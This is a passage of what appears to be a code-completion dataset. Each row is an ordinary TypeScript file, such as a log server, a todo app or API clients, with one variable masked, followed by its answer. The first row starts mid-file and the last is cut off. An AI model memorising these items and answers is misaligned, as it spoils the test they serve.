const cache = await caches.open(""buck2-logs"");

console.log(""Server started"", import.meta.url);
export default {
  async fetch(request: Request): Promise<Response> {
    // MARK: URL routing
    const url = new URL(request.url);
    const key = url.pathname.slice(1);

    if (key === """" || key === null) {
      const status = 200;
      const body = ""<!doctype html>"" + app(request);
      return new Response(
        body,
        {
          status,
          headers: {
            ""Content-Type"": ""text/html; charset=utf-8"",
          },
        },
      );
    }

    // MARK: Log upload
    if (key.startsWith(""v1/logs/upload"")) {
      if (request.method !== ""PUT"") {
        return new Response(""Method not allowed"", { status: 405 });
      }

      if (request.body === null) {
        return new Response(""Invalid request"", { status: 400 });
      }

      const uuid = request.headers.get(""x-uuid"");
      const logType = request.headers.get(""x-type"");
      const logFormat = request.headers.get(""x-format"");
      const ts = request.headers.get(""x-timestamp"");
      if (
        uuid === null || ts === null || logType === null || logFormat === null
      ) {
        return new Response(""Missing parameter"", { status: 400 });
      }

      if (logFormat !== ""pb-zst"") {
        return new Response(""Invalid log format"", { status: 400 });
      }

      const tss = ts.split(""-"");
      if (tss.length != 2) {
        return new Response(""Invalid timestamp"", { status: 400 });
      }

      const [tsDate, tsDateTs] = [tss[0], tss[1]];

      // given the above components, we have the following kv layout
      //
      // logs/$uuid                           -> [size, chunks, idx1/$date/$dateTs/$logType/$uuid]
      // idx1/$date/$dateTs/$logType/$uuid/1  -> binary log data
      // idx1/$date/$dateTs/$logType/$uuid/2  -> binary log data
      // idx1/$date/$dateTs/$logType/$uuid/3  -> binary log data
      // ...
      //

      const kkid = [""logs"", uuid];
      const kkprefix = [""logs"", ""idx1"", tsDate, tsDateTs, logType, uuid];
      const stream = request.body;

      // now, read the stream in chunks and write them to the db
      let idx = 1;
      let size = 0;

      console.log(""Uploading log"", uuid, ""with format"", logFormat);
      for await (const chunk of stream) {
        const expireIn = DEFAULT_KEY_TTL_MS * 2; // XXX FIXME (aseipp): explain
        const res = await kv.set([...kkprefix, idx.toString()], chunk, {
          expireIn,
        });
        if (!res.ok) {
          return new Response(""Internal error: failed to write log"", {
            status: 500,
          });
        }
        idx++;
        size += chunk.length;
      }

      console.log(
        ""Uploaded log"",
        uuid,
        ""of size"",
        size,
        ""with"",
        idx - 1,
        ""chunks"",
      );

      // finally, write the log entry since we're done, and enqueue it
      const ttldate = Date.now() + DEFAULT_KEY_TTL_MS;
      const val: IndexRecord = {
        size,
        ttldate,
        chunks: idx - 1,
        prefix: kkprefix,
      };
      const res = await kv.atomic()
        .check({ key: kkid, versionstamp: null })
        .set(kkid, val, { expireIn: DEFAULT_KEY_TTL_MS })
        .commit();
      if (res.ok) {
        kv.enqueue(val);
        return new Response(""OK"", { status: 200 });
      } else {
        return new Response(""Already exists"", { status: 404 });
      }
    } else if (key.startsWith(""v1/logs/get"")) {
      // MARK: Log retrieval
      const ks = key.split(""/"").slice(3);
      if (ks.length != 1) {
        return new Response(""Invalid Request"", { status: 400 });
      }

      const cached = await cache.match(request);
      if (cached !== undefined) {
        console.log(""Cache hit"", ks, request);
        return cached;
      }

      const kk = [""logs"", ks[0]];
      const obj = await kv.get(kk);
      if (obj.value === null && obj.versionstamp === null) {
        return new Response(""Not found"", { status: 404 });
      }

      const rec = obj.value as IndexRecord;
      const prefixstr = rec.prefix.join(""/"");
      console.log(prefixstr, ""Log retrieval requested"", rec);

      // the ttl is only the earliest expiry, so if the value is returned but
      // should have been expired, don't return it
      if (rec.ttldate < Date.now()) {
        return new Response(""Not found"", { status: 404 });
      }

      let size = 0;
      let idx = 1;
      // iterate the keyspace and write out each blob to a stream
      const body = new ReadableStream({
        async start(controller) {
          while (true) {
            const res = await kv.get([...rec.prefix, idx.toString()]);
            if (res.value === null && res.versionstamp === null) {
              break;
            }

            controller.enqueue(res.value as Uint8Array);
            size += (res.value as Uint8Array).length;
            idx++;
          }

          console.log(prefixstr, ""Log chunks"", idx - 1, ""size"", size);
          controller.close();
        },

        cancel() {
          console.log(prefixstr, ""Log retrieval cancelled"");
        },
      });

      const res = new Response(body, {
        headers: {
          ""content-type"": ""application/octet-stream"",
        },
      });
      cache.put(request, res.clone());
      return res;
    } else if (key.startsWith(""v1/logs/watch"")) {
      // MARK: /v1/logs/watch SSE
      let logFormat = url.searchParams.get(""fmt"");
      logFormat = logFormat === null ? ""text"" : logFormat;
      logFormat = [""text"", ""html""].includes(logFormat) ? logFormat : ""text"";

      const headers = { ""Content-Type"": ""text/event-stream"" };
      const stream = kv.watch([[LATEST_LOG_KEY]]).getReader();
      const body = new ReadableStream({
        async start(controller) {
          while (true) {
            if ((await stream.read()).done) {
              return;
            }

            const obj = await kv.get([""logs/latest""]);
            const data = obj.value as IndexRecord;
            if (data === null) {
              continue;
            }

            if (logFormat === ""html"") {
              const fdata = `<div><p class="""">Log uploaded: ${
                data.prefix.join(""/"")
              }</p><p class=""font-bold"">Size: ${data.size}</p></div>`;

              controller.enqueue(
                new TextEncoder().encode(
                  `event: logupload\ndata: ${fdata}\n\n`,
                ),
              );
            } else if (logFormat === ""text"") {
              const fdata = data.prefix.join(""/"") + "" "" + data.size;
              controller.enqueue(
                new TextEncoder().encode(
                  `event: logupload\ndata: ${fdata}\n\n`,
                ),
              );
            } else {
              console.log(""Invalid log format"", logFormat);
              controller.close();
            }
          }
        },

        cancel() {
          stream.cancel();
        },
      });
      return new Response(body, { headers });
    } else {
      return new Response(""Invalid request"", { status: 404 });
    }
  },
};

// ---------------------------------------------------------------------------------------------------------------------
// MARK: HTML

function app(request: Request): string {
  const url = request.url + (request.url.endsWith(""/"") ? """" : ""/"");
  return `
    <html lang=""en"">
      <head>
        <meta charset=""utf-8"" />
        <meta name=""viewport"" content=""width=device-width, initial-scale=1, shrink-to-fit=no"" />
        <title>Buck2 Logs</title>
      </head>
      <body>
        <div>
          <h2>Log uploads</h2>
          <div hx-ext=""sse"" sse-connect=""${url}v1/logs/watch?fmt=html"">
            <div sse-swap=""logupload"" hx-swap=""afterbegin"">
            </div>
          </div>
        </div>
        <script
          src=""https://unpkg.com/htmx.org@2.0.0""
          integrity=""<KEY>""
          crossorigin=""anonymous""
        >
        </script>
        <script
          src=""https://unpkg.com/htmx-ext-sse@2.0.0/sse.js""
          integrity=""<KEY>""
          crossorigin=""anonymous""
        >
        </script>
      </body>
    </html>
  `;
}
",msg
321,"import { Component, OnInit } from ""@angular/core"";
import { RouterExtensions } from ""nativescript-angular"";
//import { TextField } from 'ui/text-field';
import { EventData, Observable } from ""data/observable"";

import { Router, NavigationExtras, ActivatedRoute } from ""@angular/router"";
import { GooglePlayService } from ""~/shared/services/google-play.service"";
import { Page } from ""tns-core-modules/ui/page"";
import { SearchBar } from ""ui/search-bar"";
import { ObservableArray } from ""tns-core-modules/data/observable-array/observable-array"";
import { GeolocationService } from ""~/shared/services/geolocation.service"";
import { Accuracy } from ""tns-core-modules/ui/enums/enums"";
import * as appSettings from ""application-settings"";

@Component({
  selector: ""search"",
  templateUrl: ""./search/search.component.html"",
  styleUrls: [""./search/search.component.css""]
})
export class SearchComponent  implements OnInit {
 
  items: ObservableArray<any>;
  public locationArray: Array<any>;

isListViewVisible: boolean = false;
isOriginSearched: boolean = false;
isDestinationSearched: boolean = false;
  
  searchType: string;
  public origin: string;
  public destination: string;


  isBusy: boolean = false;


  constructor(
    private _page: Page,
    private route: Router,
    private router: ActivatedRoute,
    private routerExtensions: RouterExtensions,
    private geolocationService: GeolocationService,
    private googleService: GooglePlayService
  ) {
   // this.getOrigin();
    //  this.router.queryParams.subscribe(params => {
    //  this.searchType = params[""searchType""];
    // });
  }

  ngOnInit() {
   //  	this.isDestinationSearched = false;
    //   this.isOriginSearched = false;
       
    //   console.log(""<< result >> "" );

     // var result= JSON.parse(appSettings.getString(""origin"") || ""[]"");

     // console.log(""<< result <<<<beatup>> "" + result);

    // 	this.sub$ = this.route.params;
    // 	this.articles$ = this.sub$.switchMap((params: any) =&#x3E; {
    // 								this.categoryTitle = params[&#x27;categoryTitle&#x27;];
    // 								return &#x3C;any&#x3E;this.firebaseService.getArticleList(params[&#x27;id&#x27;])});&#x9;
    //    this.articles$.subscribe(()=&#x3E;{

        //    this.isBusy = this.isBusy==false ? true : false;
    //    });
  }

  getOrigin() {
    this.geolocationService
      .getLocation()
      .then(location => {
        console.log(""startpointLatitude received: "" + location.latitude);
        console.log(""startpointLongitude received: "" + location.longitude);

        //  this.origin();
      })
      .catch(error => {
        console.log(""Location error received: "" + error);
      });
  }

  onOriginTap(args) {
    let originSearch = <SearchBar>args.object; 
    if(this.isOriginSearched == false)
    {
      if (originSearch.text != null) {
         this.searchforOrigin(originSearch);
      }
    }
  }

   searchforOrigin(originSearch) {

    if (originSearch.text != null || originSearch.text.length != null || originSearch.text.length == 0)

      if (originSearch.text.length > 2 && originSearch.text.length % 3 === 0) {
        const searchString = originSearch.text.split("" "").join(""+"");
        this.isBusy = true;
        this.googleService.searchLocation(searchString).then(
          data => {

            this.isListViewVisible = true;
            this.items = new ObservableArray<any>();
           
            for (var i = 0; i < data.predictions.length; i++) {
              this.items.push({
                description: data.predictions[i].description,
                placeId: data.predictions[i].place_id
              });              
            }
            this.searchType = ""origin"";
            this.isBusy= false;
            this.isOriginSearched = true;
          },
          error => {
          	this.isBusy = false;
            this.isListViewVisible = false;
            this.isOriginSearched =false;
            this.handleErrors(error);
          }
        );
      }
  }
 

  onDestinationTap(args) {
    let  [MASK]  = <SearchBar>args.object; 
    if(this.isDestinationSearched == false)
    {
      if ( [MASK] .text != null) {
         this.searchforDestination( [MASK] );
      }
    }
  }

  searchforDestination(destination) {

    if (destination.text != null || destination.text.length != null || destination.text.length == 0)

      if (destination.text.length > 2 && destination.text.length % 3 === 0) {
        const searchString = destination.text.split("" "").join(""+"");
        this.isBusy = true;
        this.googleService.searchLocation(searchString).then(
          data => {

            this.isListViewVisible = true;
            this.items = new ObservableArray<any>();
           
            for (var i = 0; i < data.predictions.length; i++) {
              this.items.push({
                description: data.predictions[i].description,
                placeId: data.predictions[i].place_id
              });              
            }
            this.searchType = ""destination"";
            this.isBusy= false;
            this.isDestinationSearched = true;
          },
          error => {
          	this.isBusy = false;
            this.isListViewVisible = false;
            this.isDestinationSearched =false;
            this.handleErrors(error);
          }
        );
      }
  }


  handleErrors(error: any) {
    console.error(error.message);
  }

  public onSelectedTap(args) {

    if (this.searchType == ""destination"") {
      console.log("">> destination is <<"" + this.searchType);

      this.destination = args.view.bindingContext.description;     
      this.isListViewVisible = false;
      this.isDestinationSearched = true;
      //appSettings.setString(""destination"", args.view.bindingContext);

      if( this.origin != null){
        this.route.navigate([""booking""]);
      }
    } else {
      console.log("">> origin is <<"" + this.searchType);

      this.origin = args.view.bindingContext.description;
      this.isListViewVisible = false;
      this.isOriginSearched = true

      console.log(""Output coordinates"" + JSON.stringify(args.view.bindingContext.placeId));
      this.getIPAddress(args.view.bindingContext.placeId);
    //  appSettings.setString(""origin"", args.view.bindingContext);
    
    }
    // //	this.routerExtensions.back();
    //  
  }




 onOriginClear() {
  this.isOriginSearched = false;
  this.isListViewVisible = false;
 }
 
 onDestinationClear() {
  console.log("">> onDestinationClear<<"" );
  this.isListViewVisible = false;
  this.isDestinationSearched = false;
}

  onNavBtnTap() {
    // This code will be called only in Android.
    console.log("">> onNavBtnTap<<"" );
    console.log(""Navigation button tapped!"");
    this.routerExtensions.back();
   // //	topmost().navigate(""booking"");
  }

  getIPAddress(placeId) {
    // console.log(""<<<<<<<<<<<<<<< placeId is: >>>>>>>>>>>>>>>>>>>>"" + placeId);
 
     this.googleService
       .getLocationIPByPlaceID(placeId)
       .then(results => {
        console.log(""Output"" + JSON.stringify(results));
 
      //   console.log(""data.result.geometry.lat :  "" + JSON.stringify(results.result.geometry.lat));
 
         const coordinates = [results.result.geometry];
        // const newMarker   = new GeoJson(coordinates, { message: this.message })
         
        // console.log(""Output coordinates"" + JSON.stringify(results.result));
       //  console.log(""Output coordinates"" + JSON.stringify(results.result.geometry));
         console.log(""Output coordinates"" + JSON.stringify(coordinates));
         //console.log(""newMarker"" + JSON.stringify(newMarker));
 
         // result.results.forEach(element => {
         //   this.locationSearch.push({ country: element.country, streetname: element.country});
         // });
       //  console.log(""Output"" + JSON.stringify(this.geoJson));
         // this.origin = result.results[0].formatted_address;
       })
       .catch(error => {
        console.log(""Error occured in retrieving IP address:"", error);
       });
   }
}
",destinationSearch
322,"import { Polar } from ""@convex-dev/polar"";
import { api, components } from ""./_generated/api"";
import { QueryCtx, mutation, query } from ""./_generated/server"";
import { v } from ""convex/values"";
import { Id } from ""./_generated/dataModel"";

// User query to use in the Polar component
export const getUserInfo = query({
  args: {},
  handler: async (ctx) => {
    // This would be replaced with an actual auth query,
    // eg., ctx.auth.getUserIdentity() or getAuthUserId(ctx)
    const user = await ctx.db.query(""users"").first();
    if (!user) {
      throw new Error(""User not found"");
    }
    return user;
  },
});

export const polar = new Polar(components.polar, {
  products: {
    premiumMonthly: ""5fde8344-5fca-4d0b-adeb-2052cddfd9ed"",
    premiumYearly: ""9bc5ed5f-2065-40a4-bd1f-e012e448d82f"",
    premiumPlusMonthly: ""db548a6f-ff8c-4969-8f02-5f7301a36e7c"",
    premiumPlusYearly: ""9ff9976e-459e-4ebc-8cde-b2ced74f8822"",
  },
  getUserInfo: async (ctx) => {
    const user: { _id: Id<""users"">; email: string } = await ctx.runQuery(
      api.example.getUserInfo
    );
    return {
      userId: user._id,
      email: user.email,
    };
  },

  // These can be configured in code or via environment variables
  // Uncomment and replace with actual values to configure in code:
  // organizationToken: ""your_organization_token"", // Or use POLAR_ORGANIZATION_TOKEN env var
  // webhookSecret: ""your_webhook_secret"", // Or use POLAR_WEBHOOK_SECRET env var
  // server: ""sandbox"", // ""sandbox"" or ""production"", falls back to POLAR_SERVER env var
});

export const MAX_FREE_TODOS = 3;
export const MAX_PREMIUM_TODOS = 6;

export const {
  // If you configure your products by key in the Polar constructor,
  // this query provides a keyed object of the products.
  getConfiguredProducts,

  // Lists all non-archived products, useful if you don't configure products by key.
  listAllProducts,

  // Generates a checkout link for the given product IDs.
  generateCheckoutLink,

  // Generates a customer portal URL for the current user.
  generateCustomerPortalUrl,

  // Changes the current subscription to the given product ID.
  changeCurrentSubscription,

  // Cancels the current subscription.
  cancelCurrentSubscription,
} = polar.api();

// In a real app you'll set up authentication, we just use a
// fake user for the example.
const currentUser = async (ctx: QueryCtx) => {
  const user = await ctx.db.query(""users"").first();
  if (!user) {
    throw new Error(""No user found"");
  }
  const subscription = await polar.getCurrentSubscription(ctx, {
    userId: user._id,
  });
  const productKey = subscription?.productKey;
  const isPremium =
    productKey === ""premiumMonthly"" || productKey === ""premiumYearly"";
  const isPremiumPlus =
    productKey === ""premiumPlusMonthly"" || productKey === ""premiumPlusYearly"";
  return {
    ...user,
    isFree: !isPremium && !isPremiumPlus,
    isPremium,
    isPremiumPlus,
    subscription,
    maxTodos: isPremiumPlus
      ? undefined
      : isPremium
        ? MAX_PREMIUM_TODOS
        : MAX_FREE_TODOS,
  };
};

// Query that returns our pseudo user.
export const getCurrentUser = query({
  handler: async (ctx) => {
    return currentUser(ctx);
  },
});

export const authorizeTodo = async (ctx: QueryCtx, todoId: Id<""todos"">) => {
  const user = await currentUser(ctx);
  const todo = await ctx.db.get(todoId);
  if (!todo || todo.userId !== user._id) {
    throw new Error(""Todo not found"");
  }
};

export const listTodos = query({
  handler: async (ctx) => {
    const user = await currentUser(ctx);
    return ctx.db
      .query(""todos"")
      .withIndex(""userId"", (q) => q.eq(""userId"", user._id))
      .collect();
  },
});

export const insertTodo = mutation({
  args: {
    text: v.string(),
  },
  handler: async (ctx, args) => {
    const user = await currentUser(ctx);
    const  [MASK]  = (
      await ctx.db
        .query(""todos"")
        .withIndex(""userId"", (q) => q.eq(""userId"", user._id))
        .collect()
    ).length;
    const productKey = user.subscription?.productKey;
    if (!productKey &&  [MASK]  >= MAX_FREE_TODOS) {
      throw new Error(""Reached maximum number of todos for free plan"");
    }
    if (
      (productKey === ""premiumMonthly"" || productKey === ""premiumYearly"") &&
       [MASK]  >= MAX_PREMIUM_TODOS
    ) {
      throw new Error(""Reached maximum number of todos for premium plan"");
    }
    await ctx.db.insert(""todos"", {
      userId: user._id,
      text: args.text,
      completed: false,
    });
  },
});

export const updateTodoText = mutation({
  args: {
    todoId: v.id(""todos""),
    text: v.string(),
  },
  handler: async (ctx, args) => {
    await authorizeTodo(ctx, args.todoId);
    await ctx.db.patch(args.todoId, { text: args.text });
  },
});

export const completeTodo = mutation({
  args: {
    todoId: v.id(""todos""),
    completed: v.boolean(),
  },
  handler: async (ctx, args) => {
    await authorizeTodo(ctx, args.todoId);
    await ctx.db.patch(args.todoId, { completed: args.completed });
  },
});

export const deleteTodo = mutation({
  args: {
    todoId: v.id(""todos""),
  },
  handler: async (ctx, args) => {
    await authorizeTodo(ctx, args.todoId);
    await ctx.db.delete(args.todoId);
  },
});
",todoCount
323,"import axios from 'axios';
import {
  User,
  Task,
  DailyTask,
  Achievement,
  UserAchievement,
  CreateUserRequest,
  GenerateDailyTasksRequest,
  UnlockAchievementRequest,
  AuthUser,
  AuthResponse,
  TaskCompletionResponse,
  AchievementUnlockResponse
} from '../types';

const API_BASE_URL = import.meta.env.VITE_API_URL || 'http://localhost:8080';

const apiClient = axios.create({
  baseURL: `${API_BASE_URL}/api`,
  headers: {
    'Content-Type': 'application/json',
  },
  withCredentials: true, // Enable cookies for authentication
});

// Add request interceptor to handle authentication
apiClient.interceptors.request.use(
  (config) => {
    // The JWT token will be automatically sent via HTTP-only cookies
    return config;
  },
  (error) => {
    return Promise.reject(error);
  }
);

// Add response interceptor to handle authentication errors
apiClient.interceptors.response.use(
  (response) => response,
  async (error) => {
    if (error.response?.status === 401) {
      // Redirect to login or handle unauthorized access
      console.warn('Unauthorized request, user may need to re-authenticate');
    }
    return Promise.reject(error);
  }
);

// Authentication API
export const authAPI = {
  // Initiate Google OAuth login
  googleLogin: async (): Promise<void> => {
    try {
      const response = await apiClient.get('/auth/google');
      const authUrl = response.data.auth_url;
      window.location.href = authUrl;
    } catch (error) {
      console.error('Failed to initiate Google login:', error);
      throw error;
    }
  },

  // Check authentication status
  checkAuth: (): Promise<AuthUser> =>
    apiClient.get('/auth/check').then(res => res.data.user),

  // Get current user profile
  me: (): Promise<AuthUser> =>
    apiClient.get('/me').then(res => res.data),

  // Logout
  logout: (): Promise<void> =>
    apiClient.post('/auth/logout').then(res => res.data),

  // Refresh token
  refresh: (): Promise<{ token: string }> =>
    apiClient.post('/auth/refresh').then(res => res.data),
};

// User API
export const userAPI = {
  create: (userData: CreateUserRequest): Promise<User> =>
    apiClient.post('/admin/users', userData).then(res => res.data),
  
  getById: (id: number): Promise<User> =>
    apiClient.get(`/users/${id}`).then(res => res.data),
  
  update: (id: number, userData: Partial<User>): Promise<void> =>
    apiClient.put(`/users/${id}`, userData).then(res => res.data),

  // Get current user profile
  getCurrentProfile: (): Promise<User> =>
    apiClient.get('/profile').then(res => res.data),

  // Update current user profile
  updateCurrentProfile: (userData: Partial<User>): Promise<void> =>
    apiClient.put('/profile', userData).then(res => res.data),

  // Get current user's tasks
  getCurrentUserTasks: (): Promise<DailyTask[]> =>
    apiClient.get('/users/tasks').then(res => res.data),

  // Get current user's achievements
  getCurrentUserAchievements: (): Promise<UserAchievement[]> =>
    apiClient.get('/users/achievements').then(res => res.data),

  // Get user profile
  getProfile: (): Promise<User> =>
    apiClient.get('/profile').then(res => res.data),

  // Update user profile
  updateProfile: (userData: Partial<User>): Promise<User> =>
    apiClient.put('/profile', userData).then(res => res.data),
};

// Task API
export const taskAPI = {
  getAll: (): Promise<Task[]> =>
    apiClient.get('/public/tasks').then(res => res.data),
  
  getDailyTasks: (): Promise<DailyTask[]> =>
    apiClient.get('/tasks/daily').then(res => res.data.tasks),
  
  generateDailyTasks: (): Promise<DailyTask[]> =>
    apiClient.post('/tasks/daily/generate').then(res => res.data.tasks),
  
  completeTask: (taskId: number): Promise<TaskCompletionResponse> =>
    apiClient.post(`/tasks/daily/${taskId}/complete`).then(res => res.data),
};

// Achievement API
export const achievementAPI = {
  getAll: (): Promise<Achievement[]> =>
    apiClient.get('/public/achievements').then(res => res.data),
  
  getUserAchievements: (): Promise<UserAchievement[]> =>
    apiClient.get('/achievements/user').then(res => res.data.achievements),
  
  unlock: ( [MASK] : number): Promise<AchievementUnlockResponse> =>
    apiClient.post(`/achievements/${ [MASK] }/unlock`).then(res => res.data),
};

// Leaderboard API (assuming this will be added to backend)
export const leaderboardAPI = {
  getTop: (limit: number = 10): Promise<User[]> =>
    apiClient.get(`/public/leaderboard?limit=${limit}`).then(res => res.data),
};

export default apiClient; ",achievementId
324,"import { chains, ChainId } from ""@/lib/chains"";
import { UnsupportedNetworkError } from ""@/lib/errors"";
import Cors from ""cors"";
import fetch from ""isomorphic-unfetch"";
import type { NextApiRequest, NextApiResponse } from ""next"";

// @ts-ignore
globalThis.fetch = fetch;

const CONTRACT_ADDRESS_REGEX = /^(0x)?[0-9a-fA-F]{40}$/;

// Initializing the cors middleware
const cors = Cors({
  methods: [""POST"", ""GET"", ""HEAD""],
});

function runMiddleware(req: NextApiRequest, res: NextApiResponse, fn: Function) {
  return new Promise((resolve, reject) => {
    fn(req, res, (result: any) => {
      if (result instanceof Error) {
        return reject(result);
      }

      return resolve(result);
    });
  });
}

async function trackEvent() {
  await fetch(""https://queue.simpleanalyticscdn.com/events"", {
    method: ""POST"",
    headers: {
      ""Content-Type"": ""application/json"",
    },
    body: JSON.stringify({
      type: ""event"",
      hostname: ""abidata.net"",
      event: ""ABI lookup"",
      path: ""/api"",
      ua: ""Vercel Edge Functions"",
      unique: true,
    }),
  });
}

/**
 * @param addy A valid lowercased Ethereum address
 * @param network The network to use.
 * @returns The JSON abi of the contract at `addy`.
 */
async function getAbi(addy: string, network = ""mainnet"") {
  if (!Object.keys(chains).includes(network)) {
    throw new UnsupportedNetworkError(network);
  }

  const chain = chains[network as ChainId];

  // Network is defined in the mappings but the API key was not provided
  if (!chain.key) {
    throw new UnsupportedNetworkError(network);
  }

  const  [MASK]  = `https://${chain.hostname}/api?module=contract&action=getabi&address=${addy}&apikey=${chain.key}`;
  const response = await fetch( [MASK] );

  // Etherscan API returned an non-200 HTTP code
  if (!response.ok) {
    throw new Error(`Cannot fetch ABI on ${network}`);
  }

  // Etherscan API returned NOTOK code, possibly an invalid API key
  const result = await response.json();
  if (result.message === ""NOTOK"") {
    throw new Error(`Cannot fetch ABI on ${network}`);
  }

  return JSON.parse(result.result);
}

export default async function handler(req: any, res: any) {
  await runMiddleware(req, res, cors);
  res.setHeader(""Cache-Control"", ""s-maxage=31536000000"");
  const { address, network } = req.query;
  const addy = address.toLowerCase();

  if (!CONTRACT_ADDRESS_REGEX.test(addy)) {
    res.status(400).json({
      ok: false,
      error: `Unable to resolve ${addy} because it’s not a valid Ethereum contract address.`,
    });

    return;
  }

  try {
    const abi = await getAbi(addy, network);
    await trackEvent();

    res.status(200).json({
      ok: true,
      abi,
    });
  } catch (e) {
    let message = `Unable to resolve ${addy}. Please try again with a different contract or network, or contact @pugson on Telegram if this keeps happening.`;

    if (e instanceof UnsupportedNetworkError) {
      message = e.message;
    }

    res.status(400).json({
      ok: false,
      error: message,
    });
  }
}
",url
325,"import { ComboBoxDataProviderParams } from '@hilla/react-components/ComboBox';
import Filter from 'Frontend/generated/dev/hilla/crud/filter/Filter';
import PropertyStringFilter from 'Frontend/generated/dev/hilla/crud/filter/PropertyStringFilter';
import Pageable from 'Frontend/generated/dev/hilla/mappedtypes/Pageable';

export function comboBoxLazyFilter( [MASK] : ComboBoxDataProviderParams, type: string, property: PropertyStringFilter[]) {
  const { page, pageSize, filter } =  [MASK] ;
  const pagination: Pageable = {
    pageNumber: page,
    pageSize: pageSize,
    sort: {
      orders: []
    },
  };

  const filters: Filter = {
    '@type': type,
    children: property
  };

  return { pagination, filters };
}

export function filterById(type: string, property: PropertyStringFilter[]) {
  const pagination: Pageable = {
    pageNumber: 0,
    pageSize: 1,
    sort: {
      orders: []
    },
  };

  const filters: Filter = {
    '@type': type,
    children: property
  };

  return { pagination, filters };
}
",comboBoxDataProviderParams
326,"import request from '@/utils/request'

import type {
  PaginationParams,
  ActivitySearchCriteria,
  Activity,
  SearchActivityByCriteriaResponse,
  CreateActivityResponse,
  UpdateActivityResponse,
  DeleteActivityResponse,
  FindActivityByIdResponse,
  CommentActivityResponse
} from './types'

enum API {
  SEARCH_ACTIVITIES_ENDPOINT = '/activities/search',
  ACTIVITIES_ENDPOINT = '/activities'
}

export const searchActivities = (
  params: PaginationParams,
  searchCriteria: ActivitySearchCriteria
) =>
  request.post<any, SearchActivityByCriteriaResponse>(
    API.SEARCH_ACTIVITIES_ENDPOINT,
    searchCriteria,
    {
      params
    }
  )

export const findActivityById = (id: number) =>
  request.get<any, FindActivityByIdResponse>(`${API.ACTIVITIES_ENDPOINT}/${id}`)

export const createActivity = ( [MASK] : Activity) =>
  request.post<any, CreateActivityResponse>(API.ACTIVITIES_ENDPOINT,  [MASK] )

export const updateActivity = (updatedActivity: Activity) =>
  request.put<any, UpdateActivityResponse>(
    `${API.ACTIVITIES_ENDPOINT}/${updatedActivity.activityId}`,
    updatedActivity
  )

export const deleteActivity = (id: number) =>
  request.delete<any, DeleteActivityResponse>(`${API.ACTIVITIES_ENDPOINT}/${id}`)

export const commentActivity = (id: number, comment: string) =>
  request.patch<any, CommentActivityResponse>(`${API.ACTIVITIES_ENDPOINT}/${id}/comments`, {
    comment
  })
",newActivity
327,"/*
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 * 
 * http://www.apache.org/licenses/LICENSE-2.0
 * 
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
'use strict';

import * as vscode from 'vscode';
import { LanguageClientOptions } from 'vscode-languageclient';

import { LanguageClient } from 'vscode-languageclient/browser';
import { initVFS } from './virtualFileSystem';

import { log } from './log';

import {
	compileToTarget,
} from './commands/compileToTarget';

import {
	loadProjectFiles,
} from './commands/loadProjectFiles';

import { inlineSuggestionProvider } from './copilot/inlineSuggestionProvider';
import { promptProvider } from './copilot/promptProvider';
import { createSettingsWebview } from './copilot/settingsView/configSetting';
import { createStatusBarItem } from './copilot/statusBarItemProvider';
import { codeActionProvider } from './copilot/codeActionProvider';
import { registerToggleSettingsCommands } from './copilot/toggleSettings';
import { registerQuickPickCommand } from './copilot/quickPick';
import { createOrShowChatPanel } from './copilot/chatPanel/chatPanel';
import { createFileGeneratorPanel } from './copilot/modelGeneratorWizard/modelGeneratorPanel';


/**
 * Called when VS Code extension is activated. The conditions for
 * activation are specified in package.json (e.g. opening a .cto file)
 * @param context the extension context
 */
export async function activate(context: vscode.ExtensionContext) {

	log('Accord Project Extension activated');

	const documentSelector = [
		{ language: 'concerto' },
		{ language: 'concerto-vocabulary' },
		{ language: 'templatemark' }
	];

	// Options to control the language client
	const clientOptions: LanguageClientOptions = {
		documentSelector,
		synchronize: {
			fileEvents: [vscode.workspace.createFileSystemWatcher('**/*.cto'),
			vscode.workspace.createFileSystemWatcher('**/*.voc')
			]
		},
		initializationOptions: {},
	};

	const client = createWorkerLanguageClient(context, clientOptions);

	const disposable = client.start();
	context.subscriptions.push(disposable);

	await client.onReady();
	log('Accord Project client is ready');

	// initialize client-side handlers that
	// expose the workspace.fs filesystem to the language
	// server over RPC - allowing the language server process
	// to query the workspace from its process
	initVFS(client);

	// register commands
	// menus etc for commands are defined in package.json
	context.subscriptions.push(vscode.commands
		.registerCommand('cicero-vscode-extension.compileToTarget', (file) => compileToTarget(client, file)));

	context.subscriptions.push(vscode.commands
		.registerCommand('cicero-vscode-extension.loadProjectFiles', (file) => loadProjectFiles(client, file)));

	// Register the prompt provider command, startPromptProviderUI
	context.subscriptions.push(vscode.commands
		.registerCommand('cicero-vscode-extension.startPromptProviderUI', () => promptProvider.showPromptInputBox(client)));

	// Register the settings webview command, configureSettings	
	context.subscriptions.push(vscode.commands
		.registerCommand('cicero-vscode-extension.configureSettings', () => createSettingsWebview(context, client)));

	// Register the quick pick command
	registerQuickPickCommand(context, client);

	// Create and show the status bar item, statusBarItem
	createStatusBarItem(context);

	// Register the toggle settings commands	
	registerToggleSettingsCommands(context, client);

	context.subscriptions.push(vscode.commands
		.registerCommand('cicero-vscode-extension.chatPanelWithErrorMessage', (errorMessage) => createOrShowChatPanel(client, context, errorMessage)));

	context.subscriptions.push(vscode.commands
		.registerCommand('cicero-vscode-extension.openFileGenerator', () => createFileGeneratorPanel(context, client)));
}

function createWorkerLanguageClient(context: vscode.ExtensionContext, clientOptions: LanguageClientOptions) {
	// Create a web worker. The worker main file implements the language server.
	const  [MASK]  = vscode.Uri.joinPath(context.extensionUri, 'server/dist/browserServerMain.js');
	const worker = new Worker( [MASK] .toString(true));

	// create the language server client to communicate with the server running in the worker
	return new LanguageClient('cicero-vscode-extension', 'Accord Project - Server', clientOptions, worker);
}",serverMain
328,"import type {Client} from ""./transport/client/Client"";
import type {ClientProvider} from ""./transport/client/ClientProvider"";
import {Asserts} from ""./transport/core/Asserts"";
import {ClientConfig} from ""./transport/client/ClientConfig"";
import {ClusterClient} from ""./cluster/ClusterClient"";
import {WsProvider} from ""./transport_websocket/WsProvider"";
import type {RouteSelector} from ""./transport/core/RouteSelector"";
import type {IoBiConsumer} from ""./transport/core/Typealias"";
import type {Session} from ""./transport/core/Session"";
import type {Message} from ""./transport/core/Message"";
import {EntityMetas} from ""./transport/core/EntityMetas"";
import {ServerProvider} from ""./transport/server/ServerProvider"";
